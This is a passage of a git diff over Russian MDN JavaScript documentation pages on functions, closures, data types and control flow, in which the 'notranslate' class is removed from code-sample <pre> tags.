<p>На тот случай, если вы хотите использовать первый вариант функции, а не переписывать её заново, то в JavaScript есть возможность вызывать функцию с произвольным массивом аргументов. Для этого используется метод <code><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Function/apply" title="en/Core_JavaScript_1.5_Reference/Global_Objects/Function/apply">apply()</a>:</code></p> -<pre class="brush: js notranslate">avg.apply(null, [2, 3, 4, 5]); // 3.5 +<pre class="brush: js">avg.apply(null, [2, 3, 4, 5]); // 3.5 </pre> <p>Вторым аргументом метода <code>apply()</code> передаётся массив, который будет передан функции в качестве аргументов. О первом аргументе мы поговорим позже. Наличие у функций методов также говорит о том, что на самом деле они являются объектами.</p> @@ -617,7 +617,7 @@ avgArray([2, 3, 4, 5]); // 3.5</pre> <p>В JavaScript можно создавать анонимные функции:</p> -<pre class="brush: js notranslate">var avg = function() { +<pre class="brush: js">var avg = function() { var sum = 0; for (var i = 0, j = arguments.length; i < j; i++) { sum += arguments[i]; @@ -628,7 +628,7 @@ avgArray([2, 3, 4, 5]); // 3.5</pre> <p>Данная запись семантически равнозначна записи <code>function</code> <code>avg()</code>. Это даёт возможность использовать разные интересные трюки. Вот посмотрите, как можно "спрятать" локальные переменные в функции:</p> -<pre class="brush: js notranslate">var a = 1; +<pre class="brush: js">var a = 1; var b = 2; (function() { var b = 3; @@ -640,7 +640,7 @@ b; // 2 <p>В JavaScript есть возможность рекурсивного вызова функции. Это может оказаться полезным при работе с иерархическими (древовидными) структурами данных (например такие, которые встречаются при работе с <a href="/ru/DOM" title="en/DOM">DOM</a>).</p> -<pre class="brush: js notranslate">function countChars(elm) { +<pre class="brush: js">function countChars(elm) { if (elm.nodeType == 3) { // TEXT_NODE return elm.nodeValue.length; } @@ -654,7 +654,7 @@ b; // 2 <p>Тут мы сталкиваемся с проблемой: как вызвать функцию рекурсивно, если у неё нет имени? Для этого в JavaScript есть именованные функциональные выражения <a href="https://developer.mozilla.org/en-US/docs/Glossary/IIFE">IIFEs (Immediately Invoked Function Expressions)</a>. Вот пример использования именованной самовызывающейся функции:</p> -<pre class="brush: js notranslate">var charsInBody = (function counter(elm) { +<pre class="brush: js">var charsInBody = (function counter(elm) { if (elm.nodeType == 3) { // TEXT_NODE return elm.nodeValue.length; } @@ -675,7 +675,7 @@ b; // 2 <p>В классическом Объектно-Ориентированном Программировании (ООП) объекты — это коллекции данных и методов, которые этими данными оперируют. JavaScript - это язык, основанный на прототипах, и в его определении нет понятия классов, таких, как в языках C++ или Java. (Иногда это может запутать программистов, знакомых с языками, в которых есть классы.) Вместо классов JavaScript использует функции. Давайте представим объект с личными данными, содержащий поля с именем и фамилией. Есть два типа отображения имён: "Имя Фамилия" или "Фамилия, Имя". С помощью объектов и функций можно сделать следующее:</p> <div class="blockIndicator warning"> -<pre class="brush: js notranslate">function makePerson(first, last) { +<pre class="brush: js">function makePerson(first, last) { return { first: first, last: last @@ -698,7 +698,7 @@ personFullNameReversed(s); // Willison, Simon <p>Работает, но сам код никуда не годится. С таким подходом у вас будут десятки функций, засоряющих глобальный объект. Это можно исправить, прикрепив функцию к объекту. Это просто, ведь все функции и есть объекты:</p> -<pre class="brush: js notranslate">function makePerson(first, last) { +<pre class="brush: js">function makePerson(first, last) { return { first: first, last: last, @@ -717,7 +717,7 @@ s.fullNameReversed(); // Willison, Simon <p>А вот кое-что новенькое: ключевое слово '<code><a href="/ru/docs/Web/JavaScript/Reference/Operators/this" title="en/Core_JavaScript_1.5_Reference/Operators/Special_Operators/this_Operator">this</a></code>'. Когда '<code>this</code>' используется внутри функции, оно ссылается на текущий объект. Значение ключевого слова зависит от способа вызова функции. Если вызвать функцию с обращением к объекту через <a href="/ru/docs/Web/JavaScript/Reference/Operators/Property_Accessors" title="en/Core_JavaScript_1.5_Reference/Operators/Member_Operators">точку или квадратные скобки</a>, то '<code>this</code>' получится равным данному объекту. В ином случае '<code>this</code>' будет ссылаться на глобальный объект. Это часто приводит к ошибкам. Например:</p> -<pre class="brush: js notranslate">s = makePerson("Simon", "Willison") +<pre class="brush: js">s = makePerson("Simon", "Willison") var fullName = s.fullName; fullName(); // undefined undefined </pre> @@ -726,7 +726,7 @@ fullName(); // undefined undefined <p>Используя особенность ключевого слова '<code>this</code>', можно улучшить код функции <code>makePerson</code>:</p> -<pre class="brush: js notranslate">function Person(first, last) { +<pre class="brush: js">function Person(first, last) { this.first = first; this.last = last; this.fullName = function() { @@ -745,7 +745,7 @@ var s = new Person("Simon", "Willison"); <p>Каждый раз, когда с помощью конструктора создаётся новый объект, мы заново создаём и две новые функции. Гораздо удобнее создать эти функции отдельно и дать доступ к ним конструктору:</p> -<pre class="brush: js notranslate">function personFullName() { +<pre class="brush: js">function personFullName() { return this.first + ' ' + this.last; } function personFullNameReversed() { @@ -761,7 +761,7 @@ function Person(first, last) { <p>Уже лучше: мы создали функции-методы только один раз, а при новом вызове функции-конструктора просто ссылаемся на них. Можно сделать ещё лучше? Конечно:</p> -<pre class="brush: js notranslate">function Person(first, last) { +<pre class="brush: js">function Person(first, last) { this.first = first; this.last = last; } @@ -777,7 +777,7 @@ function Person(first, last) { <p>Это очень мощный инструмент. JavaScript позволяет изменять прототипы в любое время, это значит, что можно добавлять новые методы к существующим объектам во время выполнения программы:</p> -<pre class="brush: js notranslate">s = new Person("Simon", "Willison"); +<pre class="brush: js">s = new Person("Simon", "Willison"); s.firstNameCaps(); // TypeError on line 1: s.firstNameCaps is not a function @@ -789,7 +789,7 @@ s.firstNameCaps(); // "SIMON" <p>Занимательно то, что добавлять свойства в прототип можно и для встроенных объектов JavaScript. Давайте добавим новый метод <code>reversed </code>классу <code>String</code>, этот метод будет возвращать строку задом наперёд:</p> -<pre class="brush: js notranslate">var s = "Simon"; +<pre class="brush: js">var s = "Simon"; s.reversed()<code>; // TypeError on line 1: s.reversed is not a function</code> String.prototype.reversed = function <code>reversed</code>() { @@ -804,13 +804,13 @@ s.reversed(); // "nomiS" <p>Данный метод будет работать даже на литералах строки!</p> -<pre class="brush: js notranslate">"This can now be reversed".reversed(); +<pre class="brush: js">"This can now be reversed".reversed(); // desrever eb won nac sihT </pre> <p>Как уже упоминалось, prototype формирует часть цепочки. Конечным объектом этой цепочки прототипов является <code>Object.prototype</code>, методы которого включают и <code>toString()</code> — тот метод, который вызывается тогда, когда надо получить строковое отображение объекта. Вот что можно сделать с нашими объектами <code>Person</code>:</p> -<pre class="brush: js notranslate">var s = new Person("Simon", "Willison"); +<pre class="brush: js">var s = new Person("Simon", "Willison"); s.toString(); // [object Object] Person.prototype.toString = function() { @@ -821,7 +821,7 @@ s.toString(); // "<Person: Simon Willison>"</pre> <p>Помните, мы вызывали <code>avg.apply()</code> с первым аргументом равным null? Теперь мы можем сделать так: первым аргументом, переданным методу <code>apply()</code> будет объект, который примет значение '<code>this</code>'. Вот к примеру упрощённая реализация '<code>new</code>':</p> -<pre class="brush: js notranslate">function trivialNew(constructor, ...args) { +<pre class="brush: js">function trivialNew(constructor, ...args) { var o = {}; // Создаём новый объект constructor.apply(o, args); return o; @@ -832,15 +832,15 @@ s.toString(); // "<Person: Simon Willison>"</pre> <p>Вызов</p> -<pre class="brush: js notranslate">var bill = trivialNew(Person, 'William', 'Orange');</pre> +<pre class="brush: js">var bill = trivialNew(Person, 'William', 'Orange');</pre> <p>практически полностью эквивалентен этому:</p> -<pre class="brush: js notranslate">var bill = new Person('William', 'Orange');</pre> +<pre class="brush: js">var bill = new Person('William', 'Orange');</pre> <p>В JavaScript метод <code><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Function/apply">apply()</a></code> имеет похожий метод <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Function/call" title="en/Core_JavaScript_1.5_Reference/Global_Objects/Function/call"><code>call()</code></a>, который тоже позволяет устанавливать '<code>this</code>', но принимает список, а не массив аргументов.</p> -<pre class="brush: js notranslate">function lastNameCaps() { +<pre class="brush: js">function lastNameCaps() { return this.last.toUpperCase(); } var s = new Person("Simon", "Willison"); @@ -853,7 +853,7 @@ s.lastNameCaps(); <code>// WILLISON</code></pre> <p>Объявлять новые функции можно и внутри других функций. Мы использовали этот приём чуть выше, создавая функцию <code>makePerson()</code>. Главная особенность вложенных функций в том, что они получают доступ к переменным, объявленным в их функции-родителе:</p> -<pre class="brush: js notranslate">function parentFunc() { +<pre class="brush: js">function parentFunc() { var a = 1; function nestedFunc() { @@ -871,7 +871,7 @@ s.lastNameCaps(); <code>// WILLISON</code></pre> <p>Мы подошли к одному из самых мощных и непонятных инструментов JavaScript. Давайте разберёмся.</p> -<pre class="brush: js notranslate">function makeAdder(a) { +<pre class="brush: js">function makeAdder(a) { return function(b) { return a + b; }; @@ -887,7 +887,7 @@ y(7); // ? <p>Такой же фокус мы наблюдали в предыдущем примере, когда внутренние функции получали доступ к переменным той функции, в которой были объявлены. Только в нашем примере основная функция возвращает вложенную. Поначалу может показаться, что локальные переменные при этом перестанут существовать. Но они продолжают существовать — иначе код попросту не сработал бы. Вдобавок ко всему у нас есть две разные "копии" функции <code>makeAdder</code>, присвоенные разным переменным (одна копия, в которой <code>а</code> - это 5, а во второй <code>а</code> - это 20). Вот что имеем в результате вызова:</p> -<pre class="brush: js notranslate">x(6); // возвратит 11 +<pre class="brush: js">x(6); // возвратит 11 y(7); // возвратит 27 </pre> diff --git a/files/ru/web/javascript/closures/index.html b/files/ru/web/javascript/closures/index.html index 5d8d80d292..c9d5c026fe 100644 --- a/files/ru/web/javascript/closures/index.html +++ b/files/ru/web/javascript/closures/index.html @@ -15,7 +15,7 @@ translation_of: Web/JavaScript/Closures <p>Рассмотрим следующий пример:</p> <div> -<pre class="brush: js notranslate">function init() { +<pre class="brush: js">function init() { var name = "Mozilla"; // name - локальная переменная, созданная в init function displayName() { // displayName() - внутренняя функция, замыкание alert (name); // displayName() использует переменную, объявленную в родительской функции @@ -35,7 +35,7 @@ init();</pre> <p>Рассмотрим следующий пример:</p> -<pre class="brush: js notranslate">function makeFunc() { +<pre class="brush: js">function makeFunc() { var name = "Mozilla"; function displayName() { alert(name); @@ -55,7 +55,7 @@ myFunc(); <p>А вот немного более интересный пример — функция <code>makeAdder</code>:</p> -<pre class="brush: js notranslate">function makeAdder(x) { +<pre class="brush: js">function makeAdder(x) { return function(y) { return x + y; }; @@ -84,7 +84,7 @@ console.log(add10(2)); // 12 <p>Давайте рассмотрим практический пример: допустим, мы хотим добавить на страницу несколько кнопок, которые будут менять размер текста. Как вариант, мы можем указать свойство font-size на элементе body в пикселах, а затем устанавливать размер прочих элементов страницы (таких, как заголовки) с использованием относительных единиц em:</p> -<pre class="brush: css notranslate">body { +<pre class="brush: css">body { font-family: Helvetica, Arial, sans-serif; font-size: 12px; } @@ -102,7 +102,7 @@ h2 { <p>Используем следующий JavaScript:</p> -<pre class="brush: js notranslate">function makeSizer(size) { +<pre class="brush: js">function makeSizer(size) { return function() { document.body.style.fontSize = size + 'px'; }; @@ -115,12 +115,12 @@ var size16 = makeSizer(16); <p>Теперь <code>size12</code>, <code>size14</code>, и <code>size16</code> - это функции, которые меняют размер текста в элементе body на значения 12, 14, и 16 пикселов, соответственно. После чего мы цепляем эти функции на кнопки примерно так:</p> -<pre class="brush: js notranslate">document.getElementById('size-12').onclick = size12; +<pre class="brush: js">document.getElementById('size-12').onclick = size12; document.getElementById('size-14').onclick = size14; document.getElementById('size-16').onclick = size16; </pre> -<pre class="brush: html notranslate"><a href="#" id="size-12">12</a> +<pre class="brush: html"><a href="#" id="size-12">12</a> <a href="#" id="size-14">14</a> <a href="#" id="size-16">16</a> </pre> @@ -135,7 +135,7 @@ document.getElementById('size-16').onclick = size16; <p>Код ниже иллюстрирует, как можно использовать замыкания для определения публичных функций, которые имеют доступ к закрытым от пользователя (private) функциям и переменным. Такая манера программирования называется <a class="external" href="http://www.google.com/search?q=javascript+module+pattern">модульное программирование</a>: </p> -<pre class="brush: js notranslate">var Counter = (function() { +<pre class="brush: js">var Counter = (function() { var privateCounter = 0; function changeBy(val) { privateCounter += val; @@ -169,7 +169,7 @@ alert(Counter.value()); /* Alerts 1 */ <p>Заметьте, мы описываем анонимную функцию, создающую счётчик, и тут же запускаем её, присваивая результат исполнения переменной <code>Counter</code>. Но мы также можем не запускать эту функцию сразу, а сохранить её в отдельной переменной, чтобы использовать для дальнейшего создания нескольких счётчиков вот так:</p> -<pre class="brush: js notranslate">var makeCounter = function() { +<pre class="brush: js">var makeCounter = function() { var privateCounter = 0; function changeBy(val) { privateCounter += val; @@ -206,13 +206,13 @@ alert(Counter2.value()); /* Alerts 0 */ <p>До того, как в версии ECMAScript 6 ввели ключевое слово <a href="/en-US/docs/JavaScript/Reference/Statements/let" title="let"><code>let</code></a>, постоянно возникала следующая проблема при создании замыканий внутри цикла. Рассмотрим пример:</p> -<pre class="brush: html notranslate"><p id="help">Helpful notes will appear here</p> +<pre class="brush: html"><p id="help">Helpful notes will appear here</p> <p>E-mail: <input type="text" id="email" name="email"></p> <p>Name: <input type="text" id="name" name="name"></p> <p>Age: <input type="text" id="age" name="age"></p> </pre> -<pre class="brush: js notranslate">function showHelp(help) { +<pre class="brush: js">function showHelp(help) { document.getElementById('help').innerHTML = help; } @@ -244,7 +244,7 @@ setupHelp(); <p>В качестве решения в этом случае можно предложить использование функции, фабричной функции (function factory), как уже было описано выше в примерах:</p> -<pre class="brush: js notranslate">function showHelp(help) { +<pre class="brush: js">function showHelp(help) { document.getElementById('help').innerHTML = help; } @@ -282,7 +282,7 @@ setupHelp(); <p>Давайте рассмотрим не очень практичный, но показательный пример:</p> -<pre class="brush: js notranslate">function MyObject(name, message) { +<pre class="brush: js">function MyObject(name, message) { this.name = name.toString(); this.message = message.toString(); this.getName = function() { @@ -297,7 +297,7 @@ setupHelp(); <p>Поскольку вышеприведённый код никак не использует преимущества замыканий, его можно переписать следующим образом:</p> -<pre class="brush: js notranslate">function MyObject(name, message) { +<pre class="brush: js">function MyObject(name, message) { this.name = name.toString(); this.message = message.toString(); } @@ -313,7 +313,7 @@ MyObject.prototype = { <p>Методы вынесены в прототип. Тем не менее, переопределять прототип — само по себе является плохой привычкой, поэтому давайте перепишем всё так, чтобы новые методы просто добавились к уже существующему прототипу.</p> -<pre class="brush: js notranslate">function MyObject(name, message) { +<pre class="brush: js">function MyObject(name, message) { this.name = name.toString(); this.message = message.toString(); } @@ -327,7 +327,7 @@ MyObject.prototype.getMessage = function() { <p>Код выше можно сделать аккуратнее:</p> -<pre class="brush: js language-js notranslate" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">function</span> <span class="function token" style="color: #dd4a68;">MyObject<span class="punctuation token" style="color: #999999;">(</span></span>name<span class="punctuation token" style="color: #999999;">,</span> message<span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span> +<pre class="brush: js language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">function</span> <span class="function token" style="color: #dd4a68;">MyObject<span class="punctuation token" style="color: #999999;">(</span></span>name<span class="punctuation token" style="color: #999999;">,</span> message<span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span> <span class="keyword token" style="color: #0077aa;">this</span><span class="punctuation token" style="color: #999999;">.</span>name <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> name<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">toString<span class="punctuation token" style="color: #999999;">(</span></span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span> <span class="keyword token" style="color: #0077aa;">this</span><span class="punctuation token" style="color: #999999;">.</span>message <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> message<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">toString<span class="punctuation token" style="color: #999999;">(</span></span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span> <span class="punctuation token" style="color: #999999;">}</span> diff --git a/files/ru/web/javascript/data_structures/index.html b/files/ru/web/javascript/data_structures/index.html index 71eeb219ef..fee4fc9283 100644 --- a/files/ru/web/javascript/data_structures/index.html +++ b/files/ru/web/javascript/data_structures/index.html @@ -15,7 +15,7 @@ translation_of: Web/JavaScript/Data_structures <p>JavaScript является <em>слабо типизированным</em> или <em>динамическим</em> языком. Это значит, что вам не нужно определять тип переменной заранее. Тип определится автоматически во время выполнения программы. Также это значит, что вы можете использовать одну переменную для хранения данных различных типов:</p> -<pre class="brush: js notranslate">var foo = 42; // сейчас foo типа Number +<pre class="brush: js">var foo = 42; // сейчас foo типа Number foo = "bar"; // а теперь foo типа String foo = true; // foo становится типа Boolean </pre> @@ -66,7 +66,7 @@ foo = true; // foo становится типа Boolean <p>Ноль в JavaScript имеет два представления: -0 и +0. («0» это синоним +0). На практике это имеет малозаметный эффект. Например, выражение <code>+0 === -0</code> является истинным. Однако, это может проявиться при делении на ноль:</p> -<pre class="brush: js notranslate"><code>> 42 / +0 +<pre class="brush: js"><code>> 42 / +0 Infinity > 42 / -0 -Infinity</code></pre> @@ -106,7 +106,7 @@ Infinity <p><code>BigInt</code><font><font> является встроенным объектом, который предоставляет способ представления целых чисел, которые больше 2 </font></font><sup><font><font>53</font></font></sup><font><font>, что является наибольшим числом, которое JavaScript может надёжно представить с помощью </font></font><code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number" title="JavaScript-объект Number - это объект-оболочка, позволяющий работать с числовыми значениями. Объект Number создаётся с помощью конструктора Number (). Номер объекта типа примитива создаётся с помощью функции Number ().">Number</a></code><font><font> примитива.</font></font></p> -<pre class="brush: js notranslate"><code>> let bigInt = 19241924124n; +<pre class="brush: js"><code>> let bigInt = 19241924124n; > console.log(bigInt); 19241924124n > console.log(typeof bigInt); diff --git a/files/ru/web/javascript/guide/control_flow_and_error_handling/index.html b/files/ru/web/javascript/guide/control_flow_and_error_handling/index.html index 005a702243..4101047db0 100644 --- a/files/ru/web/javascript/guide/control_flow_and_error_handling/index.html +++ b/files/ru/web/javascript/guide/control_flow_and_error_handling/index.html @@ -24,13 +24,13 @@ translation_of: Web/JavaScript/Guide/Control_flow_and_error_handling <p>Блок обычно используется с управляющими инструкциями (например, <code>if</code>, <code>for</code>, <code>while</code>).</p> -<pre class="brush: js language-js notranslate" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">while</span> <span class="punctuation token" style="color: #999999;">(</span>x <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;"><</span> <span class="number token" style="color: #990055;">10</span><span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{ </span>x<span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">++</span><span class="punctuation token" style="color: #999999;">;</span><span class="punctuation token"> </span><span class="punctuation token" style="color: #999999;">}</span></code></pre> +<pre class="brush: js language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">while</span> <span class="punctuation token" style="color: #999999;">(</span>x <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;"><</span> <span class="number token" style="color: #990055;">10</span><span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{ </span>x<span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">++</span><span class="punctuation token" style="color: #999999;">;</span><span class="punctuation token"> </span><span class="punctuation token" style="color: #999999;">}</span></code></pre> <p>В вышеприведённом примере <code>{ x++; }</code> является блоком.</p> <p><strong>Обратите внимание:</strong> в JavaScript <strong>отсутствует</strong> область видимости блока до ECMAScript2015. Переменные, объявленные внутри блока, имеют область видимости функции (или скрипта), в которой находится данный блок, вследствие чего они сохранят свои значения при выходе за пределы блока. Другими словами, блок не создаёт новую область видимости. "Автономные" (standalone) блоки в JavaScript могут продуцировать полностью отличающийся результат, от результата в языках C или Java. Например:</p> -<pre class="brush: js language-js notranslate" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">var</span> x <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="number token" style="color: #990055;">1</span><span class="punctuation token" style="color: #999999;">;</span> +<pre class="brush: js language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">var</span> x <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="number token" style="color: #990055;">1</span><span class="punctuation token" style="color: #999999;">;</span> <span class="punctuation token" style="color: #999999;">{ </span><span class="keyword token" style="color: #0077aa;">var</span> x <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="number token" style="color: #990055;">2</span><span class="punctuation token" style="color: #999999;">; </span><span class="punctuation token" style="color: #999999;">}</span> @@ -48,7 +48,7 @@ console<span class="punctuation token" style="color: #999999;">.</span><span cla <p>Используйте оператор <code>if</code> для выполнения инструкции, если логическое условия истинно. Используйте опциональный <code>else</code>, для выполнения инструкции, если условие ложно. Оператор if выглядит так:</p> -<pre class="brush: js notranslate">if (condition) { +<pre class="brush: js">if (condition) { statement_1; } else { statement_2; @@ -58,7 +58,7 @@ console<span class="punctuation token" style="color: #999999;">.</span><span cla <p>Также вы можете объединить несколько инструкций, пользуясь <code>else if</code> для получения последовательности проверок условий:</p> -<pre class="syntaxbox notranslate">if (condition_1) { statement_1;} else if (condition_2) { statement_2;} else if (condition_n) { statement_n; } else { statement_last;}</pre> +<pre class="syntaxbox">if (condition_1) { statement_1;} else if (condition_2) { statement_2;} else if (condition_n) { statement_n; } else { statement_last;}</pre> <p>В случае нескольких условий только первое логическое условие, которое вычислится истинным (true), будет выполнено. Используйте блок ( <code>{ ... }</code> ) для группировки нескольких инструкций. Применение блоков является хорошей практикой, особенно когда используются вложенные инструкции <code>if</code>:</p> @@ -72,12 +72,12 @@ console<span class="punctuation token" style="color: #999999;">.</span><span cla <p>Нежелательно использовать простые присваивания в условном выражении, т.к. присваивание может быть спутано с равенством при быстром просмотре кода. Например, не используйте следующий код:</p> -<pre class="brush: js notranslate" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal; background-color: rgb(255, 255, 255);"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">if</span> <span class="punctuation token" style="color: #999999;">(</span>x <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> y<span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span><span class="punctuation token"> </span><span class="comment token" style="color: #708090;">/* ... */</span><span class="comment token"> </span><span class="punctuation token" style="color: #999999;">}</span> +<pre class="brush: js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal; background-color: rgb(255, 255, 255);"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">if</span> <span class="punctuation token" style="color: #999999;">(</span>x <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> y<span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span><span class="punctuation token"> </span><span class="comment token" style="color: #708090;">/* ... */</span><span class="comment token"> </span><span class="punctuation token" style="color: #999999;">}</span> </code></pre> <p>Если вам нужно использовать присваивание в условном выражении, то распространённой практикой является заключение операции присваивания в дополнительные скобки. Например:</p> -<pre class="brush: js language-js notranslate" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">if</span> <span class="punctuation token" style="color: #999999;">( </span><span class="punctuation token" style="color: #999999;">(</span>x <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> y<span class="punctuation token" style="color: #999999;">) </span><span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span><span class="punctuation token"> </span><span class="comment token" style="color: #708090;">/* ... */</span><span class="comment token"> </span><span class="punctuation token" style="color: #999999;">}</span></code></pre> +<pre class="brush: js language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">if</span> <span class="punctuation token" style="color: #999999;">( </span><span class="punctuation token" style="color: #999999;">(</span>x <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> y<span class="punctuation token" style="color: #999999;">) </span><span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span><span class="punctuation token"> </span><span class="comment token" style="color: #708090;">/* ... */</span><span class="comment token"> </span><span class="punctuation token" style="color: #999999;">}</span></code></pre> <h4 id="Ложные_значения">Ложные значения</h4> @@ -96,14 +96,14 @@ console<span class="punctuation token" style="color: #999999;">.</span><span cla <p>Не путайте примитивные логические значения <code>true</code> и <code>false</code> со значениями true и false объекта {{jsxref("Boolean")}}. Например:</p> -<pre class="brush: js notranslate">var b = new Boolean(false); +<pre class="brush: js">var b = new Boolean(false); if (b) // это условие true if (b == true) // это условие false </pre> <p>В следующем примере функция <code>checkData</code> возвращает <code>true</code>, если число символов в объекте <code>Text</code> равно трём; в противном случае функция отображает окно alert и возвращает <code>false</code>.</p> -<pre class="brush: js language-js notranslate" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">function</span> <span class="function token" style="color: #dd4a68;">checkData<span class="punctuation token" style="color: #999999;">(</span></span><span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span> +<pre class="brush: js language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">function</span> <span class="function token" style="color: #dd4a68;">checkData<span class="punctuation token" style="color: #999999;">(</span></span><span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span> <span class="keyword token" style="color: #0077aa;">if</span> <span class="punctuation token" style="color: #999999;">(</span>document<span class="punctuation token" style="color: #999999;">.</span>form1<span class="punctuation token" style="color: #999999;">.</span>threeChar<span class="punctuation token" style="color: #999999;">.</span>value<span class="punctuation token" style="color: #999999;">.</span>length <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">==</span> <span class="number token" style="color: #990055;">3</span><span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span> <span class="keyword token" style="color: #0077aa;">return</span> <span class="keyword token" style="color: #0077aa;">true</span><span class="punctuation token" style="color: #999999;">;</span> <span class="punctuation token" style="color: #999999;">}</span> <span class="keyword token" style="color: #0077aa;">else</span> <span class="punctuation token" style="color: #999999;">{</span> @@ -117,7 +117,7 @@ if (b == true) // это условие false <p>Инструкция <code>switch</code> позволяет сравнить значение выражения с различными вариантами и при совпадении выполнить соответствующий код. Инструкция имеет следующий вид:</p> -<pre class="notranslate">switch (expression) { +<pre>switch (expression) { case label_1: statements_1 [break;] @@ -137,7 +137,7 @@ if (b == true) // это условие false <p>В следующем примере если <code>fruittype</code> имеет значение <code>"Bananas"</code>, то будет выведено сообщение<code> "Bananas are $0.48 a pound."</code> и оператор <code>break</code> прекратит выполнение <code>switch</code>. Если бы оператор <code>break</code> отсутствовал, то был бы также выполнен код, соответствующий ветви <code>"Cherries"</code>, т.е. выведено сообщение <code>"Cherries are $3.00 a pound."</code>.</p> -<pre class="brush: js language-js notranslate" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">switch</span> <span class="punctuation token" style="color: #999999;">(</span>fruittype<span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span> +<pre class="brush: js language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">switch</span> <span class="punctuation token" style="color: #999999;">(</span>fruittype<span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span> <span class="keyword token" style="color: #0077aa;">case</span> <span class="string token" style="color: #669900;">"Oranges"</span><span class="punctuation token" style="color: #999999;">:</span> console<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">log<span class="punctuation token" style="color: #999999;">(</span></span><span class="string token" style="color: #669900;">"Oranges are $0.59 a pound."</span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span> <span class="keyword token" style="color: #0077aa;">break</span><span class="punctuation token" style="color: #999999;">;</span> @@ -182,7 +182,7 @@ console<span class="punctuation token" style="color: #999999;">.</span><span cla <p>Вы можете выбросить любое выражение, а не только выражения определённого типа. В следующем примере выбрасываются исключения различных типов:</p> -<pre class="brush: js language-js notranslate" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">throw</span> <span class="string token" style="color: #669900;">"Error2"</span><span class="punctuation token" style="color: #999999;">;</span> <span class="comment token" style="color: #708090;"> // string +<pre 